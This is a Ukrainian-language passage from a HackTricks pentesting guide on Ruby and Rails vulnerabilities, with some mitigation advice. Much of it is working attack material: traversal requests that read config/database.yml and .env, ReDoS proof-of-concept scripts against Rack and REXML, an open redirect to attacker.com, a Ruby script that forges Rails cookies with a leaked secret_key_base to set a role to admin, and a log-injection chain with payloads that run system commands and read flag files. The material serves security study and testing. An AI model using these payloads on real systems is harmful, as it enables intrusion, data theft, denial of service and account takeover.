Трюки Ruby

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

File upload to RCE

Як пояснюється в this article, завантаження файлу .rb у чутливі директорії, такі як config/initializers/, може призвести до remote code execution (RCE) в Ruby on Rails додатках.

Поради:

  • Інші місця, які виконуються під час старту додатку або під час eager-load і також небезпечні, якщо доступні для запису (наприклад, config/initializers/ — класичний приклад). Якщо ви знайдете довільне завантаження файлу, яке потрапляє кудись під config/ і пізніше evaluate/require-иться, ви можете отримати RCE при старті.
  • Шукайте dev/staging збірки, які копіюють файли, контрольовані користувачем, у container image, де Rails завантажить їх при старті.

Active Storage image transformation → command execution (CVE-2025-24293)

Коли додаток використовує Active Storage з image_processing + mini_magick, і передає недовірені параметри до методів трансформації зображень, версії Rails до 7.1.5.2 / 7.2.2.2 / 8.0.2.1 можуть дозволити command injection, оскільки деякі методи трансформації помилково були дозволені за замовчуванням.

  • Вразливий шаблон виглядає так:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

де params[:t] і/або params[:v] контролюються атакуючим.

  • Що спробувати під час тестування

  • Знайдіть будь-які ендпоїнти, які приймають variant/processing опції, імена трансформацій або довільні аргументи ImageMagick.

  • Фаззуйте params[:t] та params[:v] в пошуках підозрілих помилок або побічних ефектів виконання. Якщо ви можете впливати на ім’я методу або передати сирі аргументи, що потрапляють до MiniMagick, потенційно можна отримати виконання коду на хості, що обробляє зображення.

  • Якщо у вас лише read-access до згенерованих варіантів, спробуйте сліпий ексфільтраційний канал через спеціально сформовані операції ImageMagick.

  • Виправлення/виявлення

  • Якщо ви бачите Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 з Active Storage + image_processing + mini_magick і користувацькими трансформаціями, вважайте це експлойтабельним. Рекомендуйте оновити та запровадити суворі allowlists для методів/параметрів і жорстку політику ImageMagick.

Rack::Static LFI / path traversal (CVE-2025-27610)

Якщо цільовий стек використовує Rack middleware безпосередньо або через фреймворки, версії rack до 2.2.13, 3.0.14 та 3.1.12 дозволяють Local File Inclusion через Rack::Static, коли :root не встановлено або помилково сконфігуровано. Закодований traversal в PATH_INFO може відкрити файли під робочою директорією процесу або неочікуваним root.

  • Шукайте додатки, які монтують Rack::Static у config.ru або у стеку middleware. Спробуйте закодовані traversal проти статичних шляхів, наприклад:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Налаштуйте префікс, щоб відповідати сконфігурованим urls:. Якщо додаток відповідає вмістом файлу, ймовірно у вас є LFI до всього під розв’язаним :root.

  • Мітігація: оновіть Rack; переконайтеся, що :root вказує лише на директорію з публічними файлами і встановлено явно.

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 та < 2.2.8.1 витрачав суперлінійний час на парсинг спеціально сформованих заголовків Content-Type: multipart/form-data. Одиничний POST з величезним списком параметрів A= може зайняти worker Puma/Unicorn і спричинити DoS або виснаження черги запитів.

  • Швидкий PoC (завісить один worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Працює проти будь-якого стеку на базі Rack (Rails/Sinatra/Hanami/Grape). Якщо спереду стоїть nginx/haproxy з keep-alive, повторюйте паралельно, щоб вичерпати воркери.
  • Виправлено шляхом перетворення парсера на лінійний; шукайте версії гемів rack < 3.0.9.1 або < 2.2.8.1. У оцінках вкажіть, що WAF-и рідко блокують це, оскільки заголовок синтаксично валідний.

REXML XML parser ReDoS (CVE-2024-49761)

Гем REXML < 3.3.9 (Ruby 3.1 і раніше) катастрофічно бектрекував при парсингу шістнадцяткових numeric character references, що містять довгі послідовності цифр (наприклад, &#1111111111111x41;). Будь-який XML, оброблений REXML або бібліотеками, які його обгортають (SOAP/XML API клієнти, SAML, SVG uploads), можна використати для вичерпання CPU.

Мінімальний тригер проти Rails ендпоїнту, який парсить XML:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

Якщо процес залишається завантаженим протягом кількох секунд і CPU воркера різко зростає, швидше за все він уразливий. Атака малопропускна і також впливає на background jobs, які обробляють XML.

Додатки, що використовують gem cgi (за замовчуванням у багатьох Rack-стеках), можна заморозити одним шкідливим заголовком:

  • CGI::Cookie.parse працював суперлінійно; величезні cookie-рядки (тисячі роздільників) викликають поведінку O(N²).
  • CGI::Util#escapeElement regex дозволяв ReDoS при екранізації HTML.

Обидві проблеми виправлені в cgi 0.3.5.1 / 0.3.7 / 0.4.2. Для pentests, відправте величезний заголовок Cookie: або передайте ненадійний HTML у допоміжний код і спостерігайте за зависанням воркера. Поєднайте з keep-alive для посилення.

Gem googlesign_in < 1.3.0 (використовується для Google OAuth на Rails) виконував неповну same-origin перевірку параметра proceedto. Невірно сформований URL на кшталт proceedto=//attacker.com/%2F.. обходить перевірку і перенаправляє користувача на сторонній сайт, зберігаючи Rails flash/session cookies.

Exploit flow:

  1. Жертва клацає по спеціально підготовленому посиланню Google Sign-In, розміщеному зловмисником.
  2. Після автентифікації gem перенаправляє на домен, контрольований зловмисником, leaking flash notices or any data stored in cookies scoped to the wildcard domain.
  3. Якщо додаток зберігає short-lived tokens або magic links у flash, це може призвести до account takeover.

Під час тестування, grep Gemfile.lock на наявність googlesign_in < 1.3.0 і спробуйте невірні значення proceedto. Підтвердіть через Location header і cookie reflection.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails шифрує і підписує cookies, використовуючи ключі, похідні від secret_key_base. Якщо це значення leaks (наприклад, у репозиторії, логах або через неправильно налаштовані credentials), зазвичай можна decrypt, modify і re-encrypt cookies. Це часто призводить до authz bypass, якщо додаток зберігає ролі, user IDs або feature flags у cookies.

Мінімальний Ruby для decrypt і re-encrypt сучасних cookies (AES-256-GCM, default у recent Rails):

Ruby для розшифровки/підробки cookies ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
Примітки:
- У старіших додатках можуть використовуватися AES-256-CBC та salts `encrypted cookie` / `signed encrypted cookie`, або серіалізатори JSON/Marshal. Налаштуйте salts, cipher і serializer відповідно.
- У разі компрометації/під час оцінки — змініть `secret_key_base`, щоб зробити недійсними всі існуючі cookies.

## See also (Ruby/Rails-specific vulns)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

Коли додаток (часто простий Rack/Sinatra/Rails endpoint) одночасно:
- записує в лог рядок, контрольований користувачем, без змін, та
- пізніше виконує `load` файла, шлях до якого походить від того самого рядка (після `Pathname#cleanpath`),

Часто можна досягти RCE, «отруївши» лог і змусивши додаток виконати `load` файлу логу. Ключові примітиви:

- Ruby `load` виконує вміст цільового файлу як Ruby незалежно від розширення файлу. Будь-який текстовий файл, вміст якого розбирається як Ruby, буде виконано.
- `Pathname#cleanpath` згортає сегменти `.` і `..` без звернення до файлової системи, дозволяючи path smuggling: керований атакуючим непотріб може бути доданий спереду для логування, в той час як очищений шлях все ще резольвиться до потрібного файлу для виконання (наприклад, `../logs/error.log`).

### Minimal vulnerable pattern
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Чому лог може містити валідний Ruby

Logger записує префіксні рядки, наприклад:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

У Ruby # починає коментар, а 9/2/2025 — це просто арифметика. Щоб інжектувати валідний Ruby-код, потрібно:

  • Почніть payload з нового рядка, щоб він не був закоментований # в INFO-рядку; надішліть провідний newline (\n або %0A).
  • Закрийте незакриту [ введену INFO-рядком. Поширений трюк — почати з ] і опціонально задовольнити парсер за допомогою ][0]=1.
  • Потім вставте довільний Ruby-код (наприклад, system(...)).

Приклад того, що опиниться в логах після одного запиту з підробленим параметром:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Просмикування одного рядка, який одночасно записує код у logs і резольвиться до log path

Нам потрібен один контрольований атакуючим рядок, який:

  • коли logged raw, містить наш Ruby payload, і
  • коли передається через Pathname.new(<input>).cleanpath, резольвиться до ../logs/error.log, тож наступний виклик load виконає щойно отручений log file.

Pathname#cleanpath ігнорує схеми та згортає компоненти обходу, тому наступне працює:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • Символ # перед :// примушує Ruby ігнорувати хвіст під час виконання логу, тоді як cleanpath все ще скорочує суфікс до ../logs/error.log.
  • Початковий перенос рядка виходить із INFO-рядка; ] закриває відкриту дужку; ][0]=1 задовольняє парсер.

Експлуатація від початку до кінця

  1. Надішліть наступне як ім’я backup script (URL-кодуйте перший перенос рядка як %0A, якщо потрібно):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Додаток записує ваш сирий рядок у logs/error.log.
  2. Додаток обчислює cleanpath, який стає ../logs/error.log, і викликає load на ньому.
  3. Ruby виконує код, який ви вставили в лог.

Щоб ексфільтрувати файл у середовищі, подібному до CTF:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (перший символ — це новий рядок):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks